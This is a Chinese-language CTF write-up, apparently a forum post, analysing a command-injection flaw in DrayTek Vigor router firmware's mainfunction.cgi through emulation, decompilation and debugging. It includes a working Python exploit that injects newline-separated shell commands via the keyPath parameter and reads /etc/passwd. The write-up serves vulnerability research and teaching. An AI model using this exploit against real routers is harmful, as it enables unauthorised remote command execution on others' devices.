此固件是2024中国工业互联网安全大赛智能家电行业赛道选拔赛决赛
的一道题目,其中就可以直接用CVE直接命令执行。本人对IoT一直在尝试学习,这次的比赛见到了很多师傅非常厉害,这也是一个非常好的让我深入IoT漏洞挖掘和利用世界的契机。所以我打算完整分析一次这个赛题/固件,希望大家都有所收获。
文中提到的Sevnup工具是我本人自己编写的,直接开源给大家~源码发布在:Sevnup,欢迎star和使用。目前支持armel和mipsel架构的直接仿真。
DrayTek Vigor 是一款arm架构路由器。该路由器存在一个远程命令注入漏洞,攻击者可以利用该漏洞,通过在 mainfunction.cgi
中注入格式错误的查询字符串,构造恶意的 HTTP 消息,从而在远程执行任意代码。
受影响版本:
直接使用命令启动系统级固件模拟,成功。
使用命令find ./ -name *.httpd
发现了几个httpd,其中主要是lighttpd。
直接启动失败,说没有配置文件:
尝试找配置文件:
发现相关http的配置文件,尝试使用lighttpd的配置文件即可启动成功,命令如图。
发现http服务启动成功:
我们首先获取网络上的POC脚本进行复现:
效果如下,说明仿真成功:
主要使用了lighttpd运行了httpd服务,然而怎么处理得看上述找到的lighttpd.conf配置文件:
可以看到大概是有cgi-bin去处理相关逻辑的。
我们可以看到,确实存在cgi-bin。
接着我们就在这里看到了漏洞描述的文件mainfunction.cgi
。接下来我们对其进行深入分析。
我们可以通过搜索POC的keyPath找到对应位置(shift+f12,然后alt+t进行搜索):
点击进入后,查看其交叉引用(ctrl+x):
显然第一个是有汇编指令LDR进行调用地方,我们双击进入并且F5反编译,得到头部伪代码如下:
函数名称为 sub_2AB3C。
我们点击进入cghiGetValue函数得到:
应该是把对应数据的值传入a1中。
显然重点在于 system(v38);
。我们通过修复v38变量对最终作为命令传入的参数进行跟踪。
从下网上看,我们发现cmd的一个部分str_1来自v10与v11,我们考虑对其进行继续跟踪,改名为str11与str12。然而发现str11来自off_42400,为.data:00042400 C4 7E 03 00 off_42400 DCD aTmpRsaPrivateK
也就是/tmp/rsa/private_key
,而str12来自Value经过函数sub_AD58的返回值。函数暂时不深究,我们继续向上回溯分析。
然后我们发现,Value就是keypath的值。也就是说如果要传入命令必然经过keyPath。所以这就是注入点了。
在找到注入点之后,我们要分析,注入如何的数据能够走向执行system(cmd)的部分。我们标注key_path传入的数据就是web_cmd,我们可以看见,他会经过一个比较:
注意到else才是我们能执行命令的位置:
所以我们要想办法满足v8 || !web_cmd == false
才能够触发命令执行。
换句话说,!web_cmd
我们传入之后他肯定是false了,我们只需要v8也是false即可,也就是说v8是空指针或者没有内容或者为0。
他的类型是bool类型。
注释给出他是zf,也就是0标志位。我们发现对于v8有几个关键的赋值:
首先v8为Value == 0的布尔值,我们希望v8是false,也就是说Value不是0,而且如果value有了的话,我们也希望v7不是0,这样就能确保v8为0了。
仔细观察发现web_cmd_buf其实依次从keyPath、loginUser、loginPwd取值,最后是从loginPwd取值到web_cmd,Value,v7,所以我们这三个参数都要有,才能满足v8为false。
得到路径之后我们继续分析如何构造命令进行注入:
我们看看伪代码。我们发现可控的只有web_cmd,他会经过sub_AD58做一个处理。存在数据链条如下:
所以 ,此处我们还需要分析一下sub_AD58函数。函数具体如下:
我修改变量名和一些数据类型得到如下,并且写一些注释方便各位分析查看:
省流分析结果,我想传入命令但是不被更改为加号的话,那么就保证不出现以下字符:
处理之后传给str12,会与str11和_和自己组合,我们为了与他们割裂可以用回车键将自己作为另一个命令。
最后还会做这样一系列的操作。所以我们前后都用回车键将命令分隔开。
综上我们需要构造web_cmd也就是
知道需要构造的参数之后,我们还是无法知道如何调用到这个函数,目前根据配置文件知道可以使用/cgi-bin/mainfunction.cgi去调用这个cgi(甚至对此也不是特别确定),但是如何去调用到这个函数呢?有点一头雾水,而且根据网上poc可以得出是action等于login吧?但是没法通过逆向找到具体的调用方式。
下面可以看到函数地址和一些相关字符串挨在一起待在data段。
此时我想到,可以尝试一个比较快的方式,从而得知他的调用格式和发包方式:用burp抓包分析。如图,确实是使用/cgi-bin/mainfunction.cgi去调用cgi,并且使用的是POST请求。POST参数包括action和具体参数。
会不会刚才data段里的内容就是字符串action及其对应的调用函数?
我们搜一个刚才看到的action的具体值:
果然就是在刚才那一段部分!也就是说推测是正确的。也就是说我们的poc可以构造action=login。我们可以点击左边栏目查看(这个功能太强了)发现有action=login的,结果发现里面的参数和我们刚才分析的一模一样,只是多了一些别的参数。那些参数其实就在我们分析的函数下方,不过我们就不进一步分析了。
综上,我们分析得出:
我们写了个脚本,发现没法做到执行命令。为此我们打算执行动态分析也就是调试。
Sevnup会把qemu映射到1234端口,直接用gdb-multiarch连接即可。之前做过armpwn知道寄存器排布如下:
arm架构中,调用号3是read,4是write,5是open,0xb是execve。
r7用来存储系统调用号。
r0,r1,r2分别为三个参数。其中r2的控制较为麻烦,不过问题不大。
执行命令,其中0xa4c8是system的地址:
看到第一个参数就是命令,起码执行了system说明我们的路径约束没问题,主要是构造命令出了问题。
我们看看我们的ls
被改成什么了:
也就是说它实际上执行了:
这……显然没有达到我们想要的目的,他达成了删除三个东西。如何绕过呢?我们试试用'
。
然而这样并不能解决嵌套命令的问题。而后我又尝试了用\n
发现还是不能,因为\n
导致直接截断了。最后发现可以用URL编码%0A解决这个问题!所以我们最后的脚本如下:
至此完成分析。效果如下:
此次漏洞仿真、分析漏洞、构造poc的整个过程,对我来说是非常启发性的。对于IoT命令注入的漏洞挖掘总结来分为下面几点:
其中仿真也是非常重要的部分。整体来说这次分析学到了不少。比较词穷了,但是心里非常的兴奋,也希望大家看到这里和我的心情是一样的。谢谢你能看到这里~
import
requests
host
=
'http://10.10.10.2'
def
run_cmd(cmd):
try
:
headers
=
{
"UserAgent"
:
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)Gecko/20100101 Firefox/75.0"
}
url
=
host
+
"/cgi-bin/mainfunction.cgi"
data
=
"action=login&keyPath=%27%0A%2fbin%2f"
+
cmd
+
"%0A%27&loginUser=a&loginPwd=a"
res
=
requests.post(url
=
url, data
=
data, timeout
=
(
10
,
15
),headers
=
headers)
if
res.status_code
=
=
200
:
return
res.text
else
:
print
(
'error'
)
return
1
except
Exception as e:
return
""
data
=
run_cmd(
'cat</etc/passwd'
)
print
(data)
import
requests
host
=
'http://10.10.10.2'
def
run_cmd(cmd):
try
:
headers
=
{
"UserAgent"
:
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)Gecko/20100101 Firefox/75.0"
}
url
=
host
+
"/cgi-bin/mainfunction.cgi"
data
=
"action=login&keyPath=%27%0A%2fbin%2f"
+
cmd
+
"%0A%27&loginUser=a&loginPwd=a"
res
=
requests.post(url
=
url, data
=
data, timeout
=
(
10
,
15
),headers
=
headers)
if
res.status_code
=
=
200
:
return
res.text
else
:
print
(
'error'
)
return
1
except
Exception as e:
return
""
data
=
run_cmd(
'cat</etc/passwd'
)
print
(data)
haystack =
getenv
(
"HTTP_COOKIE"
);
v0 =
getenv
(
"REMOTE_ADDR"
);
strcpy
(v38,
"uci get acc_ctrl.access_control.validation_code"
);
v1 = (
char
*)sub_21558(v38);
strcpy
(v38,
"uci get acc_ctrl.access_control.fail_times"
);
v2 = (
const
char
*)sub_21558(v38);
v35 =
atoi
(v2);
v3 = (
const
char
*)sub_20ECC(v0,
"."
,
"_"
);
snprintf(v38, 0x400u,
"json -f /tmp/login_ip get ip.%s"
, v3);
v4 = (
const
char
*)sub_21558(v38);
v36 =
atoi
(v4);
Value = cgiGetValue(dword_42D0C,
"keyPath"
);
v6 = (
const
char
*)cgiGetValue(dword_42D0C,
"loginUser"
);
v7 = cgiGetValue(dword_42D0C,
"loginPwd"
);
v8 = v6 == 0;
if
( v6 )
v8 = v7 == 0;
v9 = (
const
char
*)v7;
if
( v8 || !Value )
{
v14 = cgiGetValue(dword_42D0C,
"formusername"
);
v17 = cgiGetValue(dword_42D0C,
"formpassword"
);
}
else
{
v10 = off_42400[0];
v11 = (
const
char
*)sub_AD58(Value);
snprintf(v40, 0x64u,
"%s%s%s"
, v10,
"_"
, v11);
sub_AD58(v6);
v12 =
strlen
(v6);
v13 = sub_CEC4(v6, v12, v46);
sub_CCC8(off_42404[0], v46[0], v13);
snprintf(v38, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, v40, off_42404[0]);
v14 = sub_21558(v38);
sub_AD58(v9);
v15 =
strlen
(v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(off_42404[0], v46[0], v16);
snprintf(v38, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, v40, off_42404[0]);
v17 = sub_21558(v38);
snprintf(v38, 0x400u,
"rm -f '%s' '%s' '%s'"
, v40, off_42404[0], v33);
system
(v38);
}
haystack =
getenv
(
"HTTP_COOKIE"
);
v0 =
getenv
(
"REMOTE_ADDR"
);
strcpy
(v38,
"uci get acc_ctrl.access_control.validation_code"
);
v1 = (
char
*)sub_21558(v38);
strcpy
(v38,
"uci get acc_ctrl.access_control.fail_times"
);
v2 = (
const
char
*)sub_21558(v38);
v35 =
atoi
(v2);
v3 = (
const
char
*)sub_20ECC(v0,
"."
,
"_"
);
snprintf(v38, 0x400u,
"json -f /tmp/login_ip get ip.%s"
, v3);
v4 = (
const
char
*)sub_21558(v38);
v36 =
atoi
(v4);
Value = cgiGetValue(dword_42D0C,
"keyPath"
);
v6 = (
const
char
*)cgiGetValue(dword_42D0C,
"loginUser"
);
v7 = cgiGetValue(dword_42D0C,
"loginPwd"
);
v8 = v6 == 0;
if
( v6 )
v8 = v7 == 0;
v9 = (
const
char
*)v7;
if
( v8 || !Value )
{
v14 = cgiGetValue(dword_42D0C,
"formusername"
);
v17 = cgiGetValue(dword_42D0C,
"formpassword"
);
}
else
{
v10 = off_42400[0];
v11 = (
const
char
*)sub_AD58(Value);
snprintf(v40, 0x64u,
"%s%s%s"
, v10,
"_"
, v11);
sub_AD58(v6);
v12 =
strlen
(v6);
v13 = sub_CEC4(v6, v12, v46);
sub_CCC8(off_42404[0], v46[0], v13);
snprintf(v38, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, v40, off_42404[0]);
v14 = sub_21558(v38);
sub_AD58(v9);
v15 =
strlen
(v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(off_42404[0], v46[0], v16);
snprintf(v38, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, v40, off_42404[0]);
v17 = sub_21558(v38);
snprintf(v38, 0x400u,
"rm -f '%s' '%s' '%s'"
, v40, off_42404[0], v33);
system
(v38);
}
int
__fastcall cgiGetValue(
int
a1,
int
a2)
{
return
__imp_cgiGetValue(a1, a2);
}
int
__fastcall cgiGetValue(
int
a1,
int
a2)
{
return
__imp_cgiGetValue(a1, a2);
}
if
( v8 || !web_cmd )
{
v14 = cgiGetValue(web_cmd_buf,
"formusername"
);
v17 = cgiGetValue(web_cmd_buf,
"formpassword"
);
}
else
if
( v8 || !web_cmd )
{
v14 = cgiGetValue(web_cmd_buf,
"formusername"
);
v17 = cgiGetValue(web_cmd_buf,
"formpassword"
);
}
else
else
{
str11 = off_42400[0];
str12 = (
const
char
*)sub_AD58(web_cmd);
snprintf(str_1, 0x64u,
"%s%s%s"
, str11,
"_"
, str12);
sub_AD58(v6);
v12 =
strlen
(v6);
v13 = sub_CEC4(v6, v12, v46);
sub_CCC8(str_2[0], v46[0], v13);
snprintf(cmd, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, str_1, str_2[0]);
v14 = sub_21558(cmd);
sub_AD58(v9);
v15 =
strlen
(v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(str_2[0], v46[0], v16);
snprintf(cmd, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, str_1, str_2[0]);
v17 = sub_21558(cmd);
snprintf(cmd, 0x400u,
"rm -f '%s' '%s' '%s'"
, str_1, str_2[0], str_3);
system
(cmd);
}
else
{
str11 = off_42400[0];
str12 = (
const
char
*)sub_AD58(web_cmd);
snprintf(str_1, 0x64u,
"%s%s%s"
, str11,
"_"
, str12);
sub_AD58(v6);
v12 =
strlen
(v6);
v13 = sub_CEC4(v6, v12, v46);
sub_CCC8(str_2[0], v46[0], v13);
snprintf(cmd, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, str_1, str_2[0]);
v14 = sub_21558(cmd);
sub_AD58(v9);
v15 =
strlen
(v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(str_2[0], v46[0], v16);
snprintf(cmd, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, str_1, str_2[0]);
v17 = sub_21558(cmd);
snprintf(cmd, 0x400u,
"rm -f '%s' '%s' '%s'"
, str_1, str_2[0], str_3);
system
(cmd);
}
v8 = Value == 0;
if
( Value )
v8 = v7 == 0;
v8 = Value == 0;
if
( Value )
v8 = v7 == 0;
web_cmd = (unsigned
__int8
*)cgiGetValue(web_cmd_buf, (
int
)
"keyPath"
);
Value = (unsigned
__int8
*)cgiGetValue(web_cmd_buf, (
int
)
"loginUser"
);
v7 = cgiGetValue(web_cmd_buf, (
int
)
"loginPwd"
);
web_cmd = (unsigned
__int8
*)cgiGetValue(web_cmd_buf, (
int
)
"keyPath"
);
Value = (unsigned
__int8
*)cgiGetValue(web_cmd_buf, (
int
)
"loginUser"
);
v7 = cgiGetValue(web_cmd_buf, (
int
)
"loginPwd"
);
str11 = off_42400[0];
str12 = sub_AD58(web_cmd);
snprintf(str_1, 0x64u,
"%s%s%s"
, str11,
"_"
, (
const
char
*)str12);
sub_AD58(Value);
v12 =
strlen
((
const
char
*)Value);
v13 = sub_CEC4(Value, v12, v46);
sub_CCC8(str_2[0], v46[0], v13);
snprintf(cmd, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, str_1, str_2[0]);
v14 = sub_21558(cmd);
sub_AD58(v9);
v15 =
strlen
((
const
char
*)v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(str_2[0], v46[0], v16);
snprintf(cmd, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, str_1, str_2[0]);
v17 = sub_21558(cmd);
snprintf(cmd, 0x400u,
"rm -f '%s' '%s' '%s'"
, str_1, str_2[0], str_3);
system
(cmd);
str11 = off_42400[0];
str12 = sub_AD58(web_cmd);
snprintf(str_1, 0x64u,
"%s%s%s"
, str11,
"_"
, (
const
char
*)str12);
sub_AD58(Value);
v12 =
strlen
((
const
char
*)Value);
v13 = sub_CEC4(Value, v12, v46);
sub_CCC8(str_2[0], v46[0], v13);
snprintf(cmd, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, str_1, str_2[0]);
v14 = sub_21558(cmd);
sub_AD58(v9);
v15 =
strlen
((
const
char
*)v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(str_2[0], v46[0], v16);
snprintf(cmd, 0x400u,
"openssl rsautl -inkey '%s' -decrypt -in %s"
, str_1, str_2[0]);
v17 = sub_21558(cmd);
snprintf(cmd, 0x400u,
"rm -f '%s' '%s' '%s'"
, str_1, str_2[0], str_3);
system
(cmd);
sub_AD58(web_cmd) -> str12 -> str_1=str11+
"_"
+str12 -> snprintf(cmd)
sub_AD58(web_cmd) -> str12 -> str_1=str11+
"_"
+str12 -> snprintf(cmd)
unsigned
__int8
*__fastcall sub_AD58(unsigned
__int8
*result)
{
unsigned
__int8
*i;
int
v2;
bool
v3;
_BOOL4 v4;
for
( i = result; i; ++i )
{
v2 = *i;
v3 = v2 == 96;
if
( v2 != 96 )
v3 = v2 == 59;
if
( v3 || v2 == 124 || v2 == 62 || v2 == 32 )
{
*i = 43;
}
else
{
v4 = v2 == 36;
if
( i == (unsigned
__int8
*)-1 )
v4 = 0;
if
( v4 && i[1] == 40 )
{
i[1] = 43;
*i = 43;
}
if
( !*i )
return
result;
}
}
return
result;
}
unsigned
__int8
*__fastcall sub_AD58(unsigned
__int8
*result)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2024-8-2 00:07
被N1nE编辑
,原因: 修正部分笔误